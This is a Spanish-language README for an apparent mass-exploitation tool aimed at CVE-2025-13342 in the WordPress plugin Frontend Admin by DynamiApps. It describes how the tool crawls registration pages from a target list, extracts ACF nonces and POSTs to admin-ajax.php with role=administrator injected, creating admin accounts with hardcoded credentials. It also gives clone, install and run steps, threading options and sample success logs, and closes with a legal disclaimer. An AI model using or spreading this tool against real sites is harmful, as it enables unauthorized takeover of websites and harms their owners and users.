
Frontend Admin by DynamiApps <= 3.28.20 - Actualización de opciones arbitraria no autenticada
Frontend Admin by DynamiApps <= 3.28.20 - Actualización no autenticada de opciones arbitrarias
__ __ _ _ _ ___ ,________ _
/ ()(| |_// () / )/ \/ )|__ /| __/ __/| |/ )
| | | >- ----/| |/ \----| \ \|__|_/
\___/ \/ \___/ /__\_//__\__/ |\__/\__/ |/__
| Campo | Detalle |
|---|---|
| CVE ID | CVE-2025-13342 |
| Puntuación | 9.8 CRÍTICA — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Afectado | Frontend Admin by DynamiApps ≤ 3.28.20 |
| Autenticación | Ninguna — completamente no autenticado |
| Tipo | Comprobación de capacidades insuficiente + Validación de entrada → Escritura arbitraria de opciones |
| CWE | CWE-284 · Control de acceso inadecuado |
Qué ocurre:
El manejador de guardado ActionOptions::run() no comprueba las capacidades del usuario ni valida la entrada antes de escribir en wp_options. Un formulario público de ACF frontend se convierte en un canal de escritura abierto. El atacante establece users_can_register=1 y default_role=administrator, y luego registra una nueva cuenta que recibe automáticamente el rol de Administrador.
Esta herramienta omite ese enfoque de dos pasos — envía directamente la carga útil del formulario manipulada con role=administrator inyectado en los campos de creación de usuario mediante acff[user][field_*], creando una cuenta de administrador en una única llamada AJAX.
1. Crawl common registration paths → locate ACF frontend form
2. Parse hidden fields → _acf_nonce, _acf_form
3. Map user fields → username · email · password · role
4. POST /wp-admin/admin-ajax.php
action=frontend_admin/form_submit
acff[user][<role_field>] = administrator
5. {"success":true} → admin account created
6. Log to acf_success.txt
requests
beautifulsoup4
colorama
rich
pip install requests beautifulsoup4 colorama rich
git clone https://github.com/Nxploited/CVE-2025-13342.git
cd CVE-2025-13342
pip install -r requirements.txt
python3 CVE-2025-13342.py
La herramienta es interactiva. Se te harán cuatro preguntas:
Targets file path → list.txt
Threads → 10
Timeout (seconds) → 10
Verbose debug → y / N
Las credenciales están fijadas internamente:
| Campo | Valor |
|---|---|
| Usuario | Nxadmin1 |
| Correo electrónico | [email protected] |
| Contraseña | NxAdmin_1337#KSA |
Un host por línea — el esquema es opcional:
https://target1.com
target2.com
http://target3.com
La herramienta sondea 28 rutas por objetivo, en orden, deteniéndose en el primer formulario ACF válido:
/ /register/ /registration/ /signup/ /sign-up/
/user-registration/ /account/ /my-account/
/frontend-form/ /frontend-register/ ...
| Archivo | Contenido |
|---|---|
acf_success.txt | Creaciones de administrador confirmadas con éxito |
Formato:
[2025-06-01 14:30:22] BASE=https://target.com FORM=https://target.com/register/
USER=Nxadmin1 [email protected] PASS=NxAdmin_1337#KSA JSON={"success":true,...}
Terminal:
[+] Target base: https://target.com
[+] Found form at: https://target.com/register/
_acf_nonce: a1b2c3d4e5
_acf_form: 123
[+] SUCCESS: https://target.com
[-] No suitable ACF Frontend form found on ...
[-] FAILED: https://target2.com
| Autor | Nxploited (Khaled Alenazi) |
| GitHub | github.com/Nxploited |
| Telegram | @KNxploited |
Esta herramienta se proporciona únicamente para investigación de seguridad autorizada y fines educativos.
El autor no acepta ninguna responsabilidad por cualquier uso contra sistemas sin el permiso escrito explícito del propietario.
El acceso no autorizado es ilegal según la CFAA, la CMA y leyes equivalentes en todo el mundo.
Eres el único responsable de tus acciones.